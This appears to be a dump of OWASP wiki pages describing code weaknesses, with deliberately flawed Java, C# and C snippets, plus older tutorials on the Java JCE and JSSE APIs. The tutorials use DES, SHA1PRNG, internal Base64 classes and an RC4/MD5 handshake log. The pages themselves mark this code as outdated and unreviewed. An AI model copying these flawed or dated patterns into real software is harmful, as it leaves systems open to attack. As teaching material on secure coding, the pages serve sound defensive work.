==Risk Factors==

TBD

==Examples==

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a null dereference.

<pre>
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
</pre>

The traditional defense of this coding error is:

<pre>
"I know the requested value will always exist because ... If it does not exist, the program
cannot perform the desired behavior so it doesn't matter whether I handle the error or simply
allow the program to die dereferencing a null value."
</pre>

But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]

==Related [[Vulnerabilities]]==

* [[Ignored function return value]]

==Related [[Controls]]==

* [[:Category:Input Validation]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==

TBD

[[Category:Input Validation Vulnerability]]
[[Category:Java]]
[[Category:Code Snippet]]
[[Category:Implementation]]
[[Category:Vulnerability]]
[[Category:OWASP ASDR Project]]

Unreleased Resource

2017-11-10T21:51:51Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

= Description =
The program can potentially fail to release a system resource.

Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.

Resource leaks have at least two common causes:

* Error conditions and other exceptional circumstances.
* Confusion over which part of the program is responsible for releasing the resource.

= Risk Factors =

* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen
* Discuss the technical impact of a successful exploit of this vulnerability
* Consider the likely [business impacts] of a successful attack

= Examples =

==Example 1==

The following Java method never closes the file handle it opens. The finalize() method for FileInputStream eventually calls close(), but there is no guarantee as to how long it will take before the finalize() method will be invoked. In a busy environment, this can result in the JVM using up all of its file handles.

<pre>
private void processFile(String fName) throws FileNotFoundException, IOException
{
FileInputStream fis = new FileInputStream(fName);
int sz;
byte[] byteArray = new byte[BLOCK_SIZE];
while ((sz = fis.read(byteArray)) != -1) {
processBytes(byteArray, sz);
}
}
</pre>

== Example 2 ==

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

<pre>
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
</pre>

== Example 3 ==
The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

<pre>
int decodeFile(char* fName)
{
char buf[BUF_SZ];
FILE* f = fopen(fName, "r");

if (!f) {
printf("cannot open %s\n", fName);
return DECODE_FAIL;
} else {
while (fgets(buf, BUF_SZ, f)) {
if (!checkChecksum(buf)) {
return DECODE_FAIL;
} else {
decodeBlock(buf);
}
}
}
fclose(f);
return DECODE_SUCCESS;
}
</pre>

[[Category:Code Quality Vulnerability]]
[[Category:Java]]
[[Category:Implementation]]
[[Category:Code Snippet]]
[[Category:Vulnerability]]

Unsafe Mobile Code

2017-11-10T21:51:39Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==
Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

===Access Violation===
The program violates secure coding principles for mobile code by returning a private array variable from a public access method.

Returning a private array variable from a public access method allows the calling code to modify the contents of the array, effectively giving the array public access and contradicting the intentions of the programmer who made it private.

'''Example'''

The following Java Applet code mistakenly returns a private array variable from a public access method.

<pre>
public final class urlTool extends Applet {
private URL[] urls;
public URL[] getURLs() {
return urls;
}
...
}
</pre>
.

===Dangerous Array Declaration===
The program violates secure coding principles for mobile code by declaring an array public, final, and static.

In most cases an array declared public, final, and static is a bug. Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. In most situations the array should be made private.

'''Example'''

The following Java Applet code mistakenly declares an array public, final, and static.

<pre>
public final class urlTool extends Applet {
public final static URL[] urls;
...
}
</pre>

===Dangerous Public Field===
The program violates secure coding principles for mobile code by declaring a member variable public but not final.

All public member variables in an Applet and in classes used by an Applet should be declared final to prevent an attacker from manipulating or gaining unauthorized access to the internal state of the Applet.

'''Example'''

The following Java Applet code mistakenly declares a member variable public but not final.

<pre>
public final class urlTool extends Applet {
public URL url;
...
}
</pre>

===Inner Class===
The program violates secure coding principles for mobile code by making use of an inner class.

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in their enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

'''Example'''

The following Java Applet code mistakenly makes use of an inner class.

<pre>
public final class urlTool extends Applet {
private final class urlHelper {
...
}
...
}
</pre>

===Public finalize() Method===
The program violates secure coding principles for mobile code by declaring a finalize()method public.

A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finialize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access. If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

'''Example'''

The following Java Applet code mistakenly declares a public finalize() method.

<pre>
public final class urlTool extends Applet {
public void finalize() {
...
}
...
}

</pre>

==Risk Factors==

* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen
* Discuss the technical impact of a successful exploit of this vulnerability
* Consider the likely [business impacts] of a successful attack

==Examples==

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[Use encapsulation]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==

TBD

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Code Quality Vulnerability]]
[[Category:Authentication Vulnerability]]
[[Category:Java]]
[[Category:Implementation]]
[[Category:Code Snippet]]
[[Category:Vulnerability]]

Unsafe use of Reflection

2017-11-10T21:51:24Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}


Last revision (mm/dd/yy): '''2016-06-29''' <small>(please ''view source'')</small>


[[Categorie:FIXME/merge]]
https://www.owasp.org/index.php/Reflection_injection

==Description==
This vulnerability is caused by unsafe use of the reflection mechanisms in programming languages like Java or C#.

An attacker may be able to create unexpected control flow paths through the application, potentially bypassing security checks. Exploitation of this weakness can result in a limited form of code injection.

==Risk Factors==
If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.

This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath or add new entries to the application's classpath. Under either of these conditions, the attacker can use reflection to introduce new, presumably malicious, behavior into the application.

==Examples==

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

<pre>
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
ao = new AddCommand();
} else if (ctl.equals("Modify")) {
ao = new ModifyCommand();
} else {
throw new UnknownActionError();
}
ao.doAction(request);
</pre>

A programmer might refactor this code to use reflection as follows:

<pre>
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
</pre>

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher.

However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they fail to modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

<pre>
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);
</pre>

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes.

This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[:Category:Input Validation]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==
# CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') https://cwe.mitre.org/data/definitions/470.html
# Wikipedia: Reflection https://en.wikipedia.org/wiki/Reflection_%28computer_programming%29

__NOTOC__

[[Category:Input Validation Vulnerability]]
[[Category:Use of Dangerous API]]
[[Category:Java]]
[[Category:Code Snippet]]
[[Category:Implementation]]
[[Category:Vulnerability]]

Using the Java Cryptographic Extensions

2017-11-10T21:51:02Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{taggedDocument
| type=old
| comment=The page should be updated; see Discussion tab for some details.
}}

==Meta==

The code included in this article has not been reviewed and should not be used without proper analysis. If you have reviewed the included code or portions of it, please post your findings back to the Java Project mailing list or contact the [[OWASP_Java_Project|OWASP Java and JVM Project]] team.

== Overview ==
Java Cryptographic Extensions (JCE) is a set of Java API's which provides cryptographic services such as encryption, secret Key Generation, Message Authentication code and Key Agreement. The ciphers supported by JCE include symmetric, asymmetric, block and stream ciphers. JCE was an optional package to JDK v 1.2.x and 1.3.x. JCE has been integrated into JDK v1.4.<br>

JCE API's are implemented by Cryptographic Service Providers. Each of these cryptographic service providers implements the Service Provider Interface which specifies the functionalities which needs to be implemented by the service providers. Programmers can plugin any Service Providers for performing cryptographic functionalities provided by JCE. J2SE comes with a default provider named SunJCE.

===Symmetric Encryption Algorithms provided by SunJCE===
# DES - default keylength of 56 bits
# AES -
# RC2, RC4 and RC5
# IDEA
# Triple DES – default keylength 112 bits
# Blowfish – default keylength 56 bits
# PBEWithMD5AndDES
# PBEWithHmacSHA1AndDESede
# DES ede

===Modes of Encryption===
# ECB
# CBC
# CFB
# OFB
# PCBC

===Asymmetric Encryption Algorithms implemented by SunJCE===
# RSA
# Diffie-Hellman – default keylength 1024 bits

===Hashing / Message Digest Algorithms implemented by SunJCE===
# MD5 – default size 64 bytes
# SHA1 - default size 64 bytes

==Examples==
===SecureRandom===
SecureRandom class is used to generate a cryptographically strong pseudo random number by using a PRNG Algorithm.
The following are the advantages of using SecureRandom over Random.
1. SecureRandom produces a cryptographically strong pseudo random number generator.
2. SecureRandom produces cryptographically strong sequences as described in
[http://www.ietf.org/rfc/rfc1750.txt RFC 1750: Randomness Recommendations for Security]

<pre>
package org.owasp.java.crypto;

import java.security.SecureRandom;
import java.security.NoSuchAlgorithmException;

import sun.misc.BASE64Encoder;

/**
* @author Joe Prasanna Kumar
* This program provides the functionality for Generating a Secure Random Number.
*
* There are 2 ways to generate a Random number through SecureRandom.
* 1. By calling nextBytes method to generate Random Bytes
* 2. Using setSeed(byte[]) to reseed a Random object
*
*/

public class SecureRandomGen {

/**
* @param args
*/
public static void main(String[] args) {
try {
// Initialize a secure random number generator
SecureRandom secureRandom = SecureRandom.getInstance("SHA1PRNG");

// Method 1 - Calling nextBytes method to generate Random Bytes
byte[] bytes = new byte[512];
secureRandom.nextBytes(bytes);

// Printing the SecureRandom number by calling secureRandom.nextDouble()
System.out.println(" Secure Random # generated by calling nextBytes() is " + secureRandom.nextDouble());

// Method 2 - Using setSeed(byte[]) to reseed a Random object
int seedByteCount = 10;
byte[] seed = secureRandom.generateSeed(seedByteCount);

// TBR System.out.println(" Seed value is " + new BASE64Encoder().encode(seed));

secureRandom.setSeed(seed);

System.out.println(" Secure Random # generated using setSeed(byte[]) is " + secureRandom.nextDouble());

} catch (NoSuchAlgorithmException noSuchAlgo)
{
System.out.println(" No Such Algorithm exists " + noSuchAlgo);
}
}

}
</pre>

=== AES Encryption and Decryption ===
<pre>
package org.owasp.java.crypto;

import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.KeyGenerator;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;

import sun.misc.BASE64Encoder;

/**
* @author Joe Prasanna Kumar
* This program provides the following cryptographic functionalities
* 1. Encryption using AES
* 2. Decryption using AES
*
* High Level Algorithm :
* 1. Generate a AES key (specify the Key size during this phase)
* 2. Create the Cipher
* 3. To Encrypt : Initialize the Cipher for Encryption
* 4. To Decrypt : Initialize the Cipher for Decryption
*
*
*/

public class AES {
public static void main(String[] args) {

String strDataToEncrypt = new String();
String strCipherText = new String();
String strDecryptedText = new String();

try {
/**
* Step 1. Generate an AES key using KeyGenerator Initialize the
* keysize to 128 bits (16 bytes)
*
*/
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(128);
SecretKey secretKey = keyGen.generateKey();

/**
* Step 2. Generate an Initialization Vector (IV)
* a. Use SecureRandom to generate random bits
* The size of the IV matches the blocksize of the cipher (128 bits for AES)
* b. Construct the appropriate IvParameterSpec object for the data to pass to Cipher's init() method
*/

final int AES_KEYLENGTH = 128; // change this as desired for the security level you want
byte[] iv = new byte[AES_KEYLENGTH / 8]; // Save the IV bytes or send it in plaintext with the encrypted data so you can decrypt the data later
SecureRandom prng = new SecureRandom();
prng.nextBytes(iv);

/**
* Step 3. Create a Cipher by specifying the following parameters
* a. Algorithm name - here it is AES
* b. Mode - here it is CBC mode
* c. Padding - e.g. PKCS7 or PKCS5
*/

Cipher aesCipherForEncryption = Cipher.getInstance("AES/CBC/PKCS7PADDING"); // Must specify the mode explicitly as most JCE providers default to ECB mode!!

/**
* Step 4. Initialize the Cipher for Encryption
*/

aesCipherForEncryption.init(Cipher.ENCRYPT_MODE, secretKey,
new IvParameterSpec(iv));

/**
* Step 5. Encrypt the Data
* a. Declare / Initialize the Data. Here the data is of type String
* b. Convert the Input Text to Bytes
* c. Encrypt the bytes using doFinal method
*/
strDataToEncrypt = "Hello World of Encryption using AES ";
byte[] byteDataToEncrypt = strDataToEncrypt.getBytes();
byte[] byteCipherText = aesCipherForEncryption
.doFinal(byteDataToEncrypt);
// b64 is done differently on Android
strCipherText = new BASE64Encoder().encode(byteCipherText);
System.out.println("Cipher Text generated using AES is "
+ strCipherText);

/**
* Step 6. Decrypt the Data
* a. Initialize a new instance of Cipher for Decryption (normally don't reuse the same object)
* Be sure to obtain the same IV bytes for CBC mode.
* b. Decrypt the cipher bytes using doFinal method
*/

Cipher aesCipherForDecryption = Cipher.getInstance("AES/CBC/PKCS7PADDING"); // Must specify the mode explicitly as most JCE providers default to ECB mode!!

aesCipherForDecryption.init(Cipher.DECRYPT_MODE, secretKey,
new IvParameterSpec(iv));
byte[] byteDecryptedText = aesCipherForDecryption
.doFinal(byteCipherText);
strDecryptedText = new String(byteDecryptedText);
System.out
.println(" Decrypted Text message is " + strDecryptedText);
}

catch (NoSuchAlgorithmException noSuchAlgo) {
System.out.println(" No Such Algorithm exists " + noSuchAlgo);
}

catch (NoSuchPaddingException noSuchPad) {
System.out.println(" No Such Padding exists " + noSuchPad);
}

catch (InvalidKeyException invalidKey) {
System.out.println(" Invalid Key " + invalidKey);
}

catch (BadPaddingException badPadding) {
System.out.println(" Bad Padding " + badPadding);
}

catch (IllegalBlockSizeException illegalBlockSize) {
System.out.println(" Illegal Block Size " + illegalBlockSize);
}

catch (InvalidAlgorithmParameterException invalidParam) {
System.out.println(" Invalid Parameter " + invalidParam);
}
}
}
</pre>
=== Des Encryption and Decryption ===
<pre>
package org.owasp.crypto;

import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.Cipher;

import java.security.NoSuchAlgorithmException;
import java.security.InvalidKeyException;
import java.security.InvalidAlgorithmParameterException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;

import sun.misc.BASE64Encoder;

/**
* @author Joe Prasanna Kumar
* This program provides the following cryptographic functionalities
* 1. Encryption using DES
* 2. Decryption using DES
*
* The following modes of DES encryption are supported by SUNJce provider
* 1. ECB (Electronic code Book) - Every plaintext block is encrypted separately
* 2. CBC (Cipher Block Chaining) - Every plaintext block is XORed with the previous ciphertext block
* 3. PCBC (Propogating Cipher Block Chaining) -
* 4. CFB (Cipher Feedback Mode) - The previous ciphertext block is encrypted and this enciphered block is XORed with the plaintext block to produce the corresponding ciphertext block
* 5. OFB (Output Feedback Mode) -
*
* High Level Algorithm :
* 1. Generate a DES key
* 2. Create the Cipher (Specify the Mode and Padding)
* 3. To Encrypt : Initialize the Cipher for Encryption
* 4. To Decrypt : Initialize the Cipher for Decryption
*
* Need for Padding :
* Block ciphers operates on data blocks on fixed size n.
* Since the data to be encrypted might not always be a multiple of n, the remainder of the bits are padded.
* PKCS#5 Padding is what will be used in this program
*
*/

public class DES {
public static void main(String[] args) {

String strDataToEncrypt = new String();
String strCipherText = new String();
String strDecryptedText = new String();

try{
/**
* Step 1. Generate a DES key using KeyGenerator
*
*/
KeyGenerator keyGen = KeyGenerator.getInstance("DES");
SecretKey secretKey = keyGen.generateKey();

/**
* Step2. Create a Cipher by specifying the following parameters
* a. Algorithm name - here it is DES
* b. Mode - here it is CBC
* c. Padding - PKCS5Padding
*/

Cipher desCipher = Cipher.getInstance("DES/CBC/PKCS5Padding"); /* Must specify the mode explicitly as most JCE providers default to ECB mode!! */

/**
* Step 3. Initialize the Cipher for Encryption
*/

desCipher.init(Cipher.ENCRYPT_MODE,secretKey);

/**
* Step 4. Encrypt the Data
* 1. Declare / Initialize the Data. Here the data is of type String
* 2. Convert the Input Text to Bytes
* 3. Encrypt the bytes using doFinal method
*/
strDataToEncrypt = "Hello World of Encryption using DES ";
byte[] byteDataToEncrypt = strDataToEncrypt.getBytes();
byte[] byteCipherText = desCipher.doFinal(byteDataToEncrypt);
strCipherText = new BASE64Encoder().encode(byteCipherText);
System.out.println("Cipher Text generated using DES with CBC mode and PKCS5 Padding is " +strCipherText);

/**
* Step 5. Decrypt the Data
* 1. Initialize the Cipher for Decryption
* 2. Decrypt the cipher bytes using doFinal method
*/
desCipher.init(Cipher.DECRYPT_MODE,secretKey,desCipher.getParameters());
//desCipher.init(Cipher.DECRYPT_MODE,secretKey);
byte[] byteDecryptedText = desCipher.doFinal(byteCipherText);
strDecryptedText = new String(byteDecryptedText);
System.out.println(" Decrypted Text message is " +strDecryptedText);
}

catch (NoSuchAlgorithmException noSuchAlgo)
{
System.out.println(" No Such Algorithm exists " + noSuchAlgo);
}

catch (NoSuchPaddingException noSuchPad)
{
System.out.println(" No Such Padding exists " + noSuchPad);
}

catch (InvalidKeyException invalidKey)
{
System.out.println(" Invalid Key " + invalidKey);
}

catch (BadPaddingException badPadding)
{
System.out.println(" Bad Padding " + badPadding);
}

catch (IllegalBlockSizeException illegalBlockSize)
{
System.out.println(" Illegal Block Size " + illegalBlockSize);
}

catch (InvalidAlgorithmParameterException invalidParam)
{
System.out.println(" Invalid Parameter " + invalidParam);
}
}

}
</pre>
[[Category:Java]]

Using the Java Secure Socket Extensions

2017-11-10T21:50:50Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{taggedDocument
| type=old
| lastRevision=2010-10-21
| comment=The page should be updated.
}}<br>

==Status==
Requires review

''The code included in this article has not been reviewed and should not be used without proper analysis. If you have reviewed the included code (or portions of it), please post your findings back to this page or to: stephen [at] corsaire.com.''

==Overview==

===What is SSL ?===
SSL - Secure Socket Layer is an Application layer cryptographic protocol developed by Netscape for securing communication over the Internet.
The security services provided by SSL are
# Confidentiality through Encryption of data using Symmetric Key Encryption Algorithms
# Non - Repudiation of Origin / Origin Integrity through Digital Signatures using Asymmetric key Encryption Algorithms or Public Key Cryptographic Algorithms
# Data Integrity through Hashing using Message Digest or Hashing Algorithms

===What is JSSE ?===
JSSE is the acronym of Jave Secure Socket Extensions. As the name implies it is a set of Java API's which provides SSL / TLS functionality.
JSSE follows a Provider Architecture wherein the functionality specified in the Service Provider Interface can be implemented by any Service Provider. JSSE comes bundled with a default service provider named SunJSSE. JSSE was an optional package on jdk ##x and ##x. Since jdk ##x, JSSE comes pre-configured with the standard jdk package

===The JSSE Implementation of SSL===
JSSE provides an implementation for creating SSLSocket (used by clients) and SSLServerSocket (used by server).
====Algorithm for creating SSL Client socket====
# Determine the SSL Server Name and port in which the SSL server is listening
# Register the JSSE provider
# Create an instance of SSLSocketFactory
# Create an instance of SSLSocket
# Create an OutputStream object to write to the SSL Server
# Create an InputStream object to receive messages back from the SSL Server

====Algorithm for creating SSL Server socket====
# Register the JSSE provider
# Set System property for keystore by specifying the keystore which contains the server certificate
# Set System property for the password of the keystore which contains the server certificate
# Create an instance of SSLServerSocketFactory
# Create an instance of SSLServerSocket by specifying the port to which the SSL Server socket needs to bind with
# Initialize an object of SSLSocket
# Create InputStream object to read data sent by clients
# Create an OutputStream object to write data back to clients.

===SSL Handshake Protocol===
The SSL handshake protocol happens between the client and the server and comprises of 4 rounds that enable peers to agree on keys, ciphers and MAC algorithms. The handshake is explained below with the parameters captured in the debug mode during the execution of SSLClient and SSLServer java files.

====Round 1 : Create the SSL connection between the Client and the Server====
<pre>
C -> S {ver || randomcookie1 || sessionid || Cipher Suites || Compression Methods }
*** ClientHello, TLSv1
RandomCookie: GMT: 1165141617 bytes = { 250, 20, 142, 231, 143, 78, 72, 52, 254, 46, 199, 39, 146, 23, 238, 5, 108, 171, 75, 192, 78, 173, 26, 151, 89, 86, 58, 197 }
Session ID: {}
Cipher Suites: [SSL_RSA_WITH_RC4_128_MD5, SSL_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_DSS_WITH_AES_128_CBC_SHA, SSL_RSA_WITH_3DES_EDE_CBC_SHA, SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA, SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA, SSL_RSA_WITH_DES_CBC_SHA, SSL_DHE_RSA_WITH_DES_CBC_SHA, SSL_DHE_DSS_WITH_DES_CBC_SHA, SSL_RSA_EXPORT_WITH_RC4_40_MD5, SSL_RSA_EXPORT_WITH_DES40_CBC_SHA, SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA, SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA]
Compression Methods: { 0 }
S -> C {ver || randomcookie2 || session_id || cipher || compression }
*** ServerHello, TLSv1
RandomCookie: GMT: 1165141617 bytes = { 33, 91, 78, 189, 156, 183, 142, 253, 119, 155, 22, 193, 46, 0, 50, 153, 168, 170, 19, 220, 68, 97, 98, 3, 36, 228, 103, 117 }
Session ID: {69, 115, 166, 113, 102, 3, 65, 68, 227, 239, 225, 34, 115, 49, 73, 69, 174, 111, 222, 219, 119, 162, 5, 11, 77, 149, 181, 24, 38, 98, 5, 204}
Cipher Suite: SSL_RSA_WITH_RC4_128_MD5
Compression Method: 0
</pre>

====Round 2 : Server authenticates itself====
<pre>
S -> C {server_cert}
***
%% Created: [Session-1, SSL_RSA_WITH_RC4_128_MD5]
** SSL_RSA_WITH_RC4_128_MD5
[read] MD5 and SHA1 hashes: len = 74
0000: 02 00 00 46 03 01 45 73 A6 71 21 5B 4E BD 9C B7 ...F..Es.q![N...
0010: 8E FD 77 9B 16 C1 2E 00 32 99 A8 AA 13 DC 44 61 ..w.....#....Da
0020: 62 03 24 E4 67 75 20 45 73 A6 71 66 03 41 44 E3 b.$.gu Es.qf.AD.
0030: EF E1 22 73 31 49 45 AE 6F DE DB 77 A2 05 0B 4D .."s1IE.o..w...M
0040: 95 B5 18 26 62 05 CC 00 04 00 ...&b.....

S -> C {public key modulus || exponent || {hash (randomcookie1 || randomcookie2 || public key modulus || exponent )} signed by Server}
*** Certificate chain
chain [0] = [
[
Version: V1
Subject: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US
Signature Algorithm: MD5withRSA, OID = ######4

Key: Sun RSA public key, 1024 bits
modulus: 125799608853960565468693082080524019040787802862173204033354805928537584240351554241990082493719007271501637788649255493925650447292814949263542483518710211756489915623917992726468465059340034326131973495929283930754477403752766287367308326998219377123365800989254595407827915805528431637337980240073881550879
public exponent: 65537
Validity: [From: Sun Nov 26 06:33:42 EST 2006,
To: Wed Apr 12 07:33:42 EDT 2034]
Issuer: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US
SerialNumber: [ 45697b96]

]
Algorithm: [MD5withRSA]
Signature:
0000: 1A 35 AD 99 24 0A 8C 09 58 0C FC B4 B3 F8 3F DC .#.$...X.....?.
0010: 44 BF 56 A2 3A 5D E5 DF 0D CF D2 59 51 F2 6E 1C D.V.:].....YQ.n.
0020: 2A C0 03 9B 7C 3F 8B 53 C8 E9 16 A7 BC 28 23 C1 *....?.S.....(#.
0030: 67 F3 E4 05 D9 55 13 65 2E E3 80 BA A3 0A 9C F6 g....U.e........
0040: A1 50 46 90 D7 E0 8F 50 6C E4 00 5D 3F F8 D0 62 .PF....Pl..]?..b
0050: D2 A9 47 DF 65 3B 02 E8 1C 04 8A 3C 7B 19 B3 EB ..G.e;.....<....
0060: B6 50 23 6E C6 8A 49 95 6E 38 70 D2 2B 40 31 A5 .P#n..I.n8p.+@#
0070: FE 3F 44 EF 3A E4 12 69 46 D1 4F A0 83 40 F7 F3 .?D.:..iF.O..@..
]
***
S -> C { cert_type || good_cert_authorities}
S -> C {end_round_2}
</pre>
====Round 3 : Client validates the Server certificate====
<pre>
C -> S {client_cert}
C -> S {pre master secret}
*** ClientKeyExchange, RSA PreMasterSecret, TLSv1
Random Secret: { 3, 1, 161, 37, 5, 17, 154, 202, 73, 33, 75, 50, 61, 242, 44, 252, 232, 80, 161, 185, 2, 61, 154, 54, 177, 192, 141, 235, 95, 174, 219, 216, 251, 150, 189, 99, 188, 180, 15, 253, 28, 168, 85, 124, 17, 124, 218, 101 }
C -> S {hash(master secret || padding value || hash(messages || master secret || padding value))}
where messages refers to concatenation messages exchanged from 1 through #
</pre>
====Round 4 : Acknowledgment between Client and the Server====
<pre>
The client updates the session and connection information to reflect the cipher it uses and then sends a “finished” message
SESSION KEYGEN:
PreMaster Secret:
0000: 03 01 A1 25 05 11 9A CA 49 21 4B 32 3D F2 2C FC ...%....I!K2=.,.
0010: E8 50 A1 B9 02 3D 9A 36 B1 C0 8D EB 5F AE DB D8 .P...=.#..._...
0020: FB 96 BD 63 BC B4 0F FD 1C A8 55 7C 11 7C DA 65 ...c......U....e
CONNECTION KEYGEN:
Client Nonce:
0000: 45 73 A6 71 FA 14 8E E7 8F 4E 48 34 FE 2E C7 27 Es.q.....NH#..'
0010: 92 17 EE 05 6C AB 4B C0 4E AD 1A 97 59 56 3A C5 ....l.K.N...YV:.
Server Nonce:
0000: 45 73 A6 71 21 5B 4E BD 9C B7 8E FD 77 9B 16 C1 Es.q![N.....w...
0010: 2E 00 32 99 A8 AA 13 DC 44 61 62 03 24 E4 67 75 ..#....Dab.$.gu
Master Secret:
0000: B5 AF 35 36 65 B8 2E A9 F0 5C C1 A7 BD 85 98 92 ..56e....\......
0010: 64 61 B6 B9 7D 86 AB C7 72 CA 67 9A E1 C1 C4 3F da......r.g....?
0020: C5 8B 67 1A 49 C9 6E B2 FC AB 65 96 EA 7E 67 8C ..g.I.n...e...g.
Client MAC write Secret:
0000: A4 C0 36 E3 9A D3 8B 67 AA 51 D6 78 59 BF 0A 5E ..#...g.Q.xY..^
Server MAC write Secret:
0000: F7 D0 65 1D 4C 0E 81 0F 1F 76 86 D7 91 68 37 50 ..e.L....v...h7P
Client write key:
0000: A6 C5 F0 7D FE 1C 0E 58 85 00 A5 02 AE 08 B5 0E .......X........
Server write key:
0000: 20 D3 07 A2 02 02 34 67 2C C3 5A 50 7C 0F 87 CB .....4g,.ZP....
... no IV for cipher
[read] MD5 and SHA1 hashes: len = 134
0000: 10 00 00 82 00 80 10 D4 F8 1C 1D 96 62 B2 59 DD ............b.Y.
